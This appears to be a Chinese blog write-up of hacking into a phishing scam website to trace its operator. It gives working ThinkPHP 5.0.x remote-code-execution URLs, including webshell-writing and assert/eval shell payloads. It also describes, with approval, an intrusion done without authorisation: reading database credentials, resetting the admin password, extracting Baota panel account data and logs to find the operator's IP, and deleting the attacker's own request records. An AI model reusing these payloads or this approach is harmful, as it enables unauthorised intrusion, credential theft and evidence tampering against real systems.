前言背景

一个学长前几天不幸在钓鱼网站中招被骗走一些资金,在联系有关部门前找到了我看看能不能获取到一些有用的信息以便于有关部门行动


外网对网站打点

在对网站进行初步信息收集后发现网站使用​ThinkPHP5.0.7​框架,直接找到​ThinkPHP​对应版本的Exp进行尝试:

http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=phpinfo&vars[0]=1    //执行phpinfo

记一次对钓鱼诈骗网站的测试_Think
成功弹出​phpinfo​,​ThinkPHP​的RCE漏洞没有修复,并且通过​phpinfo​可以看出服务器使用宝塔搭建,运行​Windows​系统,本想着接下来的事情就非常简单了,但是当我写​Shell​时遇到了困难:

http://www./index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ye.php&vars[1][]=<?php eval($_POST['cmd']);?>

文件被成功写入,但是却直接输出在了页面中,查看源代码发现​< >​被转义为了​HTML​实体编码:
记一次对钓鱼诈骗网站的测试_Think_02
在尝试利用​base64​编码后再写入,发现依然被转义,直接命令执行试一试:

http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

发现并没有出现回显,尝试反弹​Shell​也无功而返,这个时候感觉到​​system​​可能被禁用了,改用​​eval​​依旧无果,最后使用​​assert​​发现可以成功执行,直接构造​Shell​连接:

http://www./index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST[ye])

得到​Shell​后先尝试执行命令,但是命令依旧无法正常执行,尝试突破​disables_function​但失败了
这个时候思路转换一下,查看​ThinkPHP​框架的服务器配置文件​/application/database.php​得到​MYSQL​数据库账户
记一次对钓鱼诈骗网站的测试_网络安全_03

提权未遂

连接数据库:
记一次对钓鱼诈骗网站的测试_钓鱼执法_04
查询后台管理员数据:
记一次对钓鱼诈骗网站的测试_钓鱼执法_05
却发现md5无法解开,但是大致查看了数据库中的数据,到这里并没有发现什么有较大帮助的数据,因而并没有考虑继续死磕在后台账户上
接下来的主要重心应放在对于该站点管理员的信息收集上,先查看一下​​ThinkPHP​​框架中的日志记录文件​​​/runtime/log/202107/05.log​​​​在日志中发现​system​函数果然被禁用了:
记一次对钓鱼诈骗网站的测试_Think_06记一次对钓鱼诈骗网站的测试_Think_07
与此同时也在日志中发现了一条刚才检查数据库时忽略掉的重要数据——后台管理员最后登陆IP:
记一次对钓鱼诈骗网站的测试_Think_08记一次对钓鱼诈骗网站的测试_网络安全_09
翻阅前几日记录发现最后登陆​IP​都是​101.78.*.*​这个IP地址,怀疑这就是网站管理员​IP​地址,反馈给学长后查询了一下该​IP​,发现是香港的,心里一慌:这应该是挂了​VP*​了吧
结果不出所料:
记一次对钓鱼诈骗网站的测试_钓鱼执法_10
接下来的工作陷入了僵局,翻阅​ThinkPHP​的日志后并没有发现其他IP的登陆数据,修改数据库中后台管理员账户密码,登录后台后也没有发现任何有用的信息,只有一些钓鱼文章的管理:
记一次对钓鱼诈骗网站的测试_网络安全_11
后来和一个大师傅交流了一下,大师傅建议查一下看宝塔中有没有留下有用信息,在​C:/BtSoft/panel/data/default.db​中找到了宝塔面板的数据文件,获取到宝塔的账户信息:
记一次对钓鱼诈骗网站的测试_钓鱼执法_12
同时也查阅了一下宝塔数据库中的log日志内容:
记一次对钓鱼诈骗网站的测试_网络安全_13
但是却无法解出密码,这时可以通过覆盖db文件重新设置账户密码,但该方法需要重启面板,受限于我们目前的情况,这个办法很难实现
于是思路再次陷入了僵局中,睡了一觉第二天醒来想起宝塔面板会有请求记录日志,于是在​C:/BtSoft/panel/logs/request/​中找到了大量以​json​形式储存的请求信息
记一次对钓鱼诈骗网站的测试_网络安全_14
打开时间较早的日志文件,果然有所突破(有可能是​​​代理​​​不稳定,在操作时突然挂掉了,导致真实​IP​的泄漏):
记一次对钓鱼诈骗网站的测试_网络安全_15
在查询​175.167.*.*​后,发现是辽宁沈阳的​IP​地址,用网上的工具进行大致定位反馈给学长
顺带将网站的源码、数据库、​log​日志文件进行打包取证,一并收集起来,最后再删掉我们在sh时留下的请求记录
记一次对钓鱼诈骗网站的测试_钓鱼执法_16
完事收工